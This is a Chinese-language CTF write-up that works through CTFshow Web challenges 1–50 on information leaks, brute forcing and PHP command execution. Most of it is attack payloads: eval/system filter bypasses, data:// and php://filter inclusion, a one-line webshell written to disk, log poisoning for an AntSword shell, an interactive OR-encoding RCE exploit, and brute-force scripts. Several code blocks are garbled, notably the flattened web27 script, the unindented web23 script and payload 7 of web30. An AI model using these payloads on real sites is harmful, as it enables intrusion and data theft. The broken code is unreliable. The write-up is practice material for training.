跳转至

CTFshow_Web

信息收集:(完工)

Web 1-5

  • 查看网页源代码
  • 抓个包看有没有藏东西
  • 查看robots.txt
  • phps源码泄露,访问index.phps,通过其源码泄露,在其中找到flag

Web6

网页提示下载源码查看,访问url/www.zip得到源码文件

解压文件我们得到

image-20241102003213997

打开fl00g.txt,没有我们想要的flag

打开index.php

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-01 14:37:13
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-01 14:42:44
# @email: [email protected]
# @link: https://ctfer.com

*/
//flag in fl000g.txt
echo "web6:where is flag?"
?>

显示flag in fl00g.txt

直接访问url/fl00g.txt得到flag

web7

git泄露,访问url/.git即可得到flag

web8

svn泄露,访问url/.git即可得到flag

web9

vim缓存信息泄露,访问url/index.php.swp,打开下载的index.php.swp即可得到flag

web10

根据hint查看cookie可以看到

cookie:flag=ctfshow%7B3ac14c03-64d1-41aa-9328-c97bcceeb840%7D

进行url解码即可得到flag

image-20241106010021516

web11

域名解析

我们可以通过nslookup来进行域名解析查询

Text Only
nslookup -qt=格式 URL
Text Only
nslookup -qt=any URL 
//遍历所有格式
Text Only
nslookup -qt=TXT URL
//查询txt格式

web12

hint:有时候网站上的公开信息,就是管理员常用密码

先用dirsearch扫一下

image-20241106092048352

访问admin,要求我们输入管理员账号密码,根据后台路径我们可以猜测账号为admin

回到主页,在网页的底部我们可以看到一个电话Help Line Number : 372619038

猜测电话为管理员密码,输入后成功得到flag

web13

在页面底部可以看到一个document

image-20241106121019219

点击发现下载了一个document.pdf文件,文件里有后台的地址和账号密码

image-20241106121415093d

登录后台即可得到flag

web14

根据hint知道editor处应该有信息泄漏(虽然不知道什么是editor)

我们先用dirsearch扫一下后台

image-20241106202626586

访问url/editor

image-20241106202742084

是一个文字编辑的页面,我们可以发现在上传附件📎出可以调用出到服务器的文件管理器

在服务器的根目录没看到flag,尝试查看网站的根目录(var/www/html),看看有没有隐藏页面

发现nothinghere文件夹中有个fl00g.txt文件

访问url/nothinghere/f1000g.txt即可得到flag

web15

扫描到后台为url/admin,打开看到有个忘记密码,要求输入城市

image-20241112203115743

image-20241112203225217

根据hint我们可以在主页底部找到一个qq邮箱,查询一下qq号

image-20241112203325025

得到信息,现居陕西西安

输入西安成功重置密码,输入重置密码和帐号admin,成功得到flag

Web16

探针泄漏

dirsearch 扫描不到这个探针,看wp才知道的

探针在url/tz.php

访问探针

image-20241112204025693

image-20241112204437105

在指针里面可以找到phpinfo页面

打开在phpinfo里面可以找到flag

web17

sql备份泄漏

image-20241112205219664

用dirsearch扫出来存在sql备份泄漏,下载backup.sql,打开得到flag

image-20241112205527202

web18

本题是一个游戏,玩到101分就能得到flag

我们直接看js

Flappy_js.js

image-20241113125910231

审一下代码,我们可以看到当分数大于100的时候会输出这段文字,这段文字看着像unidcode编码,解码试试

image-20241113130107163

根据提示访问url/110.php,得到flag

web19

题目是一个登录的页面,根据hint查看网页源代码

image-20241113132533968

根据提示,这道题应该是一道对密码进行了加密的题目

审阅一下代码我们得到这些信息

mode模式: CBC padding 填充方式: ZeroPadding 密文输出编码: 十六进制hex 偏移量iv: ilove36dverymuch 密钥:0000000372619038 密文为: a599ac85a73384ee3219fa684296eaa62667238d608efa81837030bd1ce1bf04

AES 加密/解密 - 锤子在线工具

用解密工具解密一下密文我们可以得到密码为

image-20241113133003036

输入密码,得到flag

web20

hint:mdb文件是早期asp+access构架的数据库文件,文件泄露相当于数据库被脱裤了。

这是一个使用access数据库的asp程序

根据提示本题存在mdb文件泄露,那我们直接访问url/db/db.mdb

下载db.mdb文件后用记事本打开搜索flag,即可得到 flag{ctfshow_old_database}

image-20241113134305246

爆破:(完工)

web21

image-20241123165104490

抓个包

image-20241123165621808

我们可以看到他的账号密码是通过base64编码加密后再发送的,问题不大

payload设置如下

image-20241123165947562

image-20241123170139759

我们还要设置一下payload处理

image-20241123170509504

开始爆破,根据长度或者状态码判断即可

image-20241123172859359

web22

域名爆破

通过爆破ctf.show的子域名可以爆破到flag.ctf.show

访问即可得到flag(虽然已经挂了)

web23

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-03 11:43:51
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-03 11:56:11
# @email: [email protected]
# @link: https://ctfer.com

*/
error_reporting(0);

include('flag.php');
if(isset($_GET['token'])){
    $token = md5($_GET['token']);
    if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
        if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
            echo $flag;
        }
    }
}else{
    highlight_file(__FILE__);

}
?>

分析代码可知: 需要找到一个合适的 token 值,使得以下条件成立:

1、md5(token) 的第 1 位(从 0 开始算)等于第 14 位

2、md5(token) 的第 14 位等于第 17 位。

3、md5(token) 的第 1 位的整数值、14 位的整数值、和 17 位的整数值的和除以第 1 位的整数值等于第 31 位的整数值。

既然不知道怎么凑那我们可以尝试爆破

通过bp爆破一下1-1000中是否有符合上述条件的字符串

image-20241123230839908

哎我草,怎么就爆破出来了,虽然不知道为什么纯数字还能爆出来

其他解法,可以用大佬的脚本

Python
# coding: utf-8
# alberthao
import hashlib

dic = '0123456789qazwsxedcrfvtgbyhnujmikolp'
for a in dic:
    for b in dic:
        t = str(a) + str(b)
        md5 = hashlib.md5(t.encode('utf-8')).hexdigest()
        # print md5
        # print md5[1:2]
        # print md5[14:15]
        # print md5[17:18]
        if md5[1:2] == md5[14:15] and md5[14:15] == md5[17:18]:
            if (ord(md5[1:2])) >= 48 and ord(md5[1:2]) <= 57 and (ord(md5[14:15])) >= 48 and ord(md5[14:15]) <= 57:
                if (ord(md5[17:18])) >= 48 and ord(md5[17:18]) <= 57 and (ord(md5[31:32])) >= 48 and ord(
                        md5[31:32]) <= 57:
                    if (int(md5[1:2]) + int(md5[14:15]) + int(md5[17:18])) / int(md5[1:2]) == int(md5[31:32]):
                        print(t)

or

Python
import hashlib
for i in range(1,10000):

md5 = hashlib.md5(str(i).encode('utf-8')).hexdigest()

if md5[1] != md5[14] or md5[14]!= md5[17]:
    continue

if(ord(md5[1]))>=48 and ord(md5[1])<=57 and (ord(md5[31]))>=48 and ord(md5[31])<=57:

    if((int(md5[1])+int(md5[14])+int(md5[17]))/int(md5[1])==int(md5[31])):

        print(i)

web24

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-03 13:26:39
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-03 13:53:31
# @email: [email protected]
# @link: https://ctfer.com

*/

error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
    $r = $_GET['r'];
    mt_srand(372619038);
    if(intval($r)===intval(mt_rand())){
        echo $flag;
    }
}else{
    highlight_file(__FILE__);
    echo system('cat /proc/version');
}

?>

这道题考察的是一个php伪随机数的题目

mt_scrand(seed)这个函数的意思,是通过分发seed种子,然后种子有了后,靠mt_rand()生成随机 数。 提示:从 PHP 4.2.0 开始,随机数生成器自动播种,因此没有必要使用该函数 因此不需要播种,并且如果设置了 seed参数 生成的随机数就是伪随机数,意思就是每次生成的随机数 是一样的

虽然说是随机数,但是同一个种子会生成同一串数字

poc

PHP
1
2
3
4
<?php 
mt_srand(372619038);
echo intval(mt_rand()); 
?>

不知道跟版本有没有关系,我随便找的php在线运行,成功得到flag

web25

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-03 13:56:57
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-03 15:47:33
# @email: [email protected]
# @link: https://ctfer.com

*/


error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
    $r = $_GET['r'];
    mt_srand(hexdec(substr(md5($flag), 0,8)));
    $rand = intval($r)-intval(mt_rand());
    if((!$rand)){
        if($_COOKIE['token']==(mt_rand()+mt_rand())){
            echo $flag;
        }
    }else{
        echo $rand;
    }
}else{
    highlight_file(__FILE__);
    echo system('cat /proc/version');
}

继续php伪随机数

我们需要知道一个性质

当mt_srand()中的种子是固定的,那么我们生成的随机数的序列就是相同的,如下

PHP
<?php

mt_srand(1852100618);

echo mt_rand();
echo mt_rand();
echo mt_rand();
echo mt_rand();

'''
1640856123
1390302953
893879251
859994814

在这道题里面我们需要得到前三个随机数

第一个随机数我们可以使r=0得到,第一个随机数为1640856123

image-20241124162638637

得到第一个随机数之后我们可以通过爆破的方式得到种子,从而得到第二,第三个随机数

php脚本(极其慢)

PHP
<?php
$a= 390148868;//第一个随机数
$b= 0 ;
while (true){
    mt_srand($b);
    if(mt_rand()==$a){
        echo "success:"+$b;
        break;
    }
    echo $b;
    echo "\n";
    $b+=1;

}

或者使用php_mt_seed-4.0工具

image-20241124163359970

我们可以看到不同版本的seed是不同的,我们一个个试试就行了

PHP
1
2
3
4
mt_srand(1852100618);
echo mt_rand();// 第一次随机数(不能少)
echo "\ntoken:";
echo (mt_rand()+mt_rand()); //第二和第三次随机数相加,也就是我们要对token

得到token的值,我们只需要使rand为零即可得到flag

也就是说我们只需要使r等于第一次随机数即可

传参,得到flag

image-20241124163754599

web26

image-20241124173300016

这么多我咋爆,赌一把只爆密码

image-20241124173340723

web27

image-20241124201909506

这题是一个教务系统,需要通过账号密码登录

先信息收集一下

我们可以看到在账号密码下面有一个录取名单和学生学籍信息查询系统

image-20241124202141536

image-20241124202155511

分别如上,那我们是否可以通过爆破学生的身份证信息从而通过录取查询查到学生的信息呢?

bp抓个包

image-20241124203316274

哎我草,我数据呢

forward一下(是因为数据实际上在checkdb.php才提交吗?不是很懂)

image-20241124203440000

我们可以发现其实身份证缺失的部分刚好是出生日期

那我们可以用bp中的日期爆破功能

image-20241124205446714

image-20241124211229000

爆出来的msg用unicode解码一下就能得到账号密码了

image-20241124211334906

贴个大佬的脚本

Python
url='https://bbc133e5-8f17-4c12-a7a2-88fecb9ac079.challenge.ctf.show/info/checkdb.php' NUM=32

def run_tasks(L): U=[] for i in L: U.append(asyncio.ensure_future(i)) loop = asyncio.get_event_loop() loop.run_until_complete(asyncio.wait(U))

class TaskRuner: def init(self,n) -> None: self.L=[] for i in range(n): self.L.append(self.task_function(i)) self.task_num=n async def task_function(self,n): pass def run(self): run_tasks(self.L) self.on_over() def on_over(self): pass

import aiohttp from urllib.parse import quote from datetime import date, timedelta

class NYR: def init(self,start_date,end_date) -> None: self.start_date=start_date self.end_date=end_date self.delta = timedelta(days=1) self.current_date = start_date def next(self): t=self.current_date if t>self.end_date: return None self.current_date+=self.delta return t

class Scanner(TaskRuner): def init(self,d1,d2,n) -> None: super().init(n) self.nyr=NYR(d1,d2) self.alive=True

async def task_function(self, n):
    while self.alive:
        u=self.nyr.next()
        if not u:
            break
        r=await self.login(u)
        if r:
            self.alive=False
async def login(self,t:date):
    url='https://bbc133e5-8f17-4c12-a7a2-88fecb9ac079.challenge.ctf.show/info/checkdb.php'
    n=t.year
    y=t.month
    r=t.day
    n=str(n)
    y=str(y)
    r=str(r)
    if len(y)==1:
        y='0'+y
    if len(r)==1:
        r='0'+r
    sfz='621022'+n+y+r+'5237'
    data={
        'a':'高先伊',
        'p':sfz,
    }
    sess=aiohttp.ClientSession()
    try:
        r=await sess.post(url=url,data=data,ssl=False)
        text=await r.text()
        js=loads(text)
        msg=js['msg']
        print(sfz,msg)
        await sess.close()
        return msg!='提交信息有误'
    except Exception as e:
        print(e)
        pass
    try:
        await sess.close()
    except:
        pass
    return False

async def handle_up(self,u,p):
    pass
a=Scanner(date(1990,1,1),date(2010,12,12),NUM)

a.run()

web28

image-20241124212238261

这题本来不知道要干嘛

image-20241124212302234

dirsearch扫一下,感觉应该是目录爆破

image-20241124213646757

先爆破一下0-100

image-20241124220027195

命令执行

web29

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: [email protected]
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }

}else{
    highlight_file(__FILE__);
}

可以看到通过eval函数可以执行php代码或者系统命令,其中过滤了flag。

进行绕过就行,解法很多

  1. c=system("cat fl*g.php | grep -E 'fl.g' ");

  2. c=system("tac fl*g.php");

  3. c=system("cat fl*g.php");(用cat要右键查看源代码才能看到回显)

  4. c=system("cp fl*g.php a.txt ");(访问a.txt查看)

  5. c=system('echo -e " <?php \n error_reporting(0); \n $c= $_GET[\'c\']; \n eval($c); " > a.php'); //直接新建一个页面并写入一句话木马 (/a.php?c=system("tac flag.php");)

  6. ?c=echo `tac fla*`;

....

web30

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:42:26
# @email: [email protected]
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }

}else{
    highlight_file(__FILE__);
}

这里过滤了关键字flag,system还有php,由于过滤了system我们需要使用其他的系统函数进行命令执行

payload:

  1. c=printf(exec("cat%20fl*"));

  2. c=echo exec("cat f\lag.p\hp");

  3. c=show_source(scandir(".")[2]); (这个函数会返回一个包含当前目录下所有文件和目录项的数组)

  4. c=highlight_file(next(array_reverse(scandir("."))));

  5. c=passthru("tac fla*");

  6. c=echo `tac fla*`;

  7. c=\(a=sys;\)b=tem;\(c=\)a.\(b;\)c("tac fla");

  8. c=echo shell_exec("tac fla*");

  9. c=eval($_GET[1]);&1=system("tac flag.php");

  10. c=passthru(base64_decode("Y2F0IGZsYWcucGhw=="));(base64绕过)

    ......

web31

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:49:10
# @email: [email protected]
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }

}else{
    highlight_file(__FILE__);
}

这题屏蔽了关键词 /flag|system|php|cat|sort|shell|.| |\'

payload:

  1. c=eval($_GET[1]);&1=system("tac flag.php");
  2. c=show_source(scandir(getcwd())[2]);
  3. c=show_source(next(array_reverse(scandir(pos(localeconv())))));
  4. c=passthru("tac%09fla*");
  5. c=echo`tac%09fla*`;

web32

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:56:31
# @email: [email protected]
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }

}else{
    highlight_file(__FILE__);
}

这题屏蔽了关键词 /flag|system|php|cat|sort|shell|.| |\'|`|echo|\;|(

过滤了空格可以用${IFS}%0a 代替,分号可以用?>代替

用include构造payload:

url/?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

或者

url/?c=include$_GET[1]?>&1=data://text/plain,<?php%20system("tac%20flag.php")?>

得到的结果用base64解码一下就可以得到flag了

或者用日志注入:

url/?c=include$_GET[1]?%3E&1=../../../../var/log/nginx/access.log /var/log/nginx/access.log是nginx默认的access日志路径,访问该路径时,在User-Agent中写入一句话木马,然后用中国蚁剑连接即可

web33

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 02:22:27
# @email: [email protected]
# @link: https://ctfer.com
*/
//
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }

}else{
    highlight_file(__FILE__);
}

屏蔽的关键词比上一题多了个双引号 /flag|system|php|cat|sort|shell|.| |\'|`|echo|\;|(|\"

继续使用include构造payload:

url/?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

或者

url/?c=include$_GET[1]?>&1=data://text/plain,<?php%20system("tac%20flag.php")?>

web34

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:29
# @email: [email protected]
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }

}else{
    highlight_file(__FILE__);
}

屏蔽的关键词 /flag|system|php|cat|sort|shell|.| |\'|`|echo|\;|(|:|\"

继续使用include构造payload:

url/?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

或者

url/?c=include$_GET[1]?>&1=data://text/plain,<?php%20system("tac%20flag.php")?>

web35

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:23
# @email: [email protected]
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }

}else{
    highlight_file(__FILE__);
}

屏蔽关键词 /flag|system|php|cat|sort|shell|.| |\'|`|echo|\;|(|:|\"|\<|=

继续使用include构造payload:(wsm还能秒)

url/?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

或者

url/?c=include$_GET[1]?>&1=data://text/plain,<?php%20system("tac%20flag.php")?>

web36

PHP
<?php

/*
\# -*- coding: utf-8 -*-
\# @Author: h1xa
\# @Date:  2020-09-04 00:12:34
\# @Last Modified by:  h1xa
\# @Last Modified time: 2020-09-04 04:21:16
\# @email: [email protected]
\# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){
  $c = $_GET['c'];
  if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
    eval($c);
  }

}else{
  highlight_file(__FILE__);
}

屏蔽关键字 /flag|system|php|cat|sort|shell|.| |\'|`|echo|\;|(|:|\"|\<|=|\/|[0-9]

不是哥们,数字也要屏蔽,那我改一下不就好了

继续使用include构造payload:

url/?c=include$_GET[m]?>&m=php://filter/convert.base64-encode/resource=flag.php

或者

url/?c=include$_GET[m]?>&m=data://text/plain,<?php%20system("tac%20flag.php")?>

web37

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 05:18:55
# @email: [email protected]
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;

    }

}else{
    highlight_file(__FILE__);
}

不是哥们,怎么还是文件包含

payload:

?c=data://text/plain,<?php system("tac fla*.php")?>

或者

?c=data://text/plain;base64,PD9waHAgCnN5c3RlbSgidGFjIGZsYWcucGhwIikKPz4=

web38

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 05:23:36
# @email: [email protected]
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;

    }

}else{
    highlight_file(__FILE__);
}

payload:

?c=data://text/plain,<?=system("tac%20fla*")?>

或者

?c=data://text/plain;base64,PD9waHAgCnN5c3RlbSgidGFjIGZsYWcucGhwIikKPz4=

web39

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:13:21
# @email: [email protected]
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }

}else{
    highlight_file(__FILE__);
}

这里会在我们传入的c后面拼接一段.php

我们只需要在加入<?php ?>那么php就只会执行中间的代码,后面的内容不会执行

故payload:

?c=data://text/plain,<?php system("tac fla*.php")?>

web40

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:03:36
# @email: [email protected]
# @link: https://ctfer.com
*/


if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }

}else{
    highlight_file(__FILE__);
}

屏蔽关键词 /[0-9]|~|`|\@|#|\$|\%|^|\&|*|\(|\)|-|=|+|{|[|]|}|:|\'|\"|\,|\<|.|>|\/|\?|\\

这里要使用无参命令执行

payload:

?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

关于无参命令执行的一些解释

image-20241109165447576

web41

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: 羽
# @Date:   2020-09-05 20:31:22
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:40:07
# @email: [email protected]
# @link: https://ctf.show

*/

if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>

过滤内容:/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i

这个题过滤了$、+、-、^、~使得异或自增和取反构造字符都无法使用,同时过滤了字母和数字。但是特意留了个或运算符|。 我们可以尝试从ascii为0-255的字符中,找到或运算能得到我们可用的字符的字符。

大佬的脚本

PHP
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
    for ($j=0; $j <256 ; $j++) { 

        if($i<16){
            $hex_i='0'.dechex($i);
        }
        else{
            $hex_i=dechex($i);
        }
        if($j<16){
            $hex_j='0'.dechex($j);
        }
        else{
            $hex_j=dechex($j);
        }
        $preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
        if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
                    echo "";
    }

        else{
        $a='%'.$hex_i;
        $b='%'.$hex_j;
        $c=(urldecode($a)|urldecode($b));
        if (ord($c)>=32&ord($c)<=126) {
            $contents=$contents.$c." ".$a." ".$b."\n";
        }
    }

}
}
fwrite($myfile,$contents);
fclose($myfile);
Python
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php")  #没有将php写入环境变量需手动运行
if(len(argv)!=2):
   print("="*50)
   print('USER:python exp.py <url>')
   print("eg:  python exp.py http://ctf.show/")
   print("="*50)
   exit(0)
url=argv[1]
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("rce_or.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"|\""+s2+"\")"
   return(output)

while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
   data={
       'c':urllib.parse.unquote(param)
       }
   r=requests.post(url,data=data)
   print("\n[*] result:\n"+r.text)

将两个文件放在同一个文件夹,运行exp.py即可

羽师傅nb

image-20241124223329525

注意链接要用http不能用https

web42

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 20:51:55
# @email: [email protected]
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

这道题会将我们输入的命令与" >/dev/null 2>&1"进行拼接

/dev/null 2>&1 意思是将标准输出和标准错误都重定向到 /dev/null 即不回显

导致我们无法成功执行

我们可以通过%0a截断的方式绕过

tac fl*%0a

or

; //分号 | //只执行后面那条命令 || //只执行前面那条命令 & //两条命令都会执行 && //两条命令都会执行

过滤了分号和cat,可以用||和&来代替分号,tac代替cat

可构造playload: url/?c=tac flag.php|| url/?c=tac flag.php%26 注意,这里的&需要url编码

web43

过滤了cat、;,

不是很影响

Text Only
1
2
3
4
5
6
7
8
tac fl*%0a

or

tac flag.php||

...
//记得转url编码

web44

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:32:01
# @email: [email protected]
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤了;|cat|flag

小问题

Text Only
1
2
3
4
5
6
7
8
tac fl*%0a

or

tac f*||

...
//记得转url编码

web45

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:35:34
# @email: [email protected]
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤了;|cat|flag和空格

可以用%09或\(IFS\)9代替空格

Text Only
tac%09fl*%0a

or

tac%09f*||

or

echo$IFS`tac$IFS*`%0A

...
//记得转url编码

web46

Text Only
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:50:19
# @email: [email protected]
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤有点多啊

\;|cat|flag| |[0-9]|\$|*

但是事实上我们上题使用的方法并不会受到影响,因为%09是url编码,不会被当成数字过滤

Text Only
tac%09fl*%0a

or

tac%09f*||

or

tac<f*||

//记得转url编码

web47

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:59:23
# @email: [email protected]
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤这么多O.o?

\;|cat|flag| |[0-9]|\$|*|more|less|head|sort|tail

但是幸好我用的是tac

Text Only
tac%09fl*%0a

or

tac%09f*||

or

tac<f*||

//记得转url编码

web48

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:06:20
# @email: [email protected]
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤更多了

\;|cat|flag| |[0-9]|\$|*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|`

Text Only
1
2
3
4
5
6
tac%09fl??.php%0a

or

tac%09fl??.php%7c%7c 
//记得转url编码

web49

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:22:43
# @email: [email protected]
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤了

\;|cat|flag| |[0-9]|\$|*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|`|\%

虽然过滤了%但是是不影响我们传入的url编码的

Text Only
1
2
3
4
5
tac%09fl??.php%0a

or

tac%09fl??.php%7c%7c 

web50

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:32:47
# @email: [email protected]
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
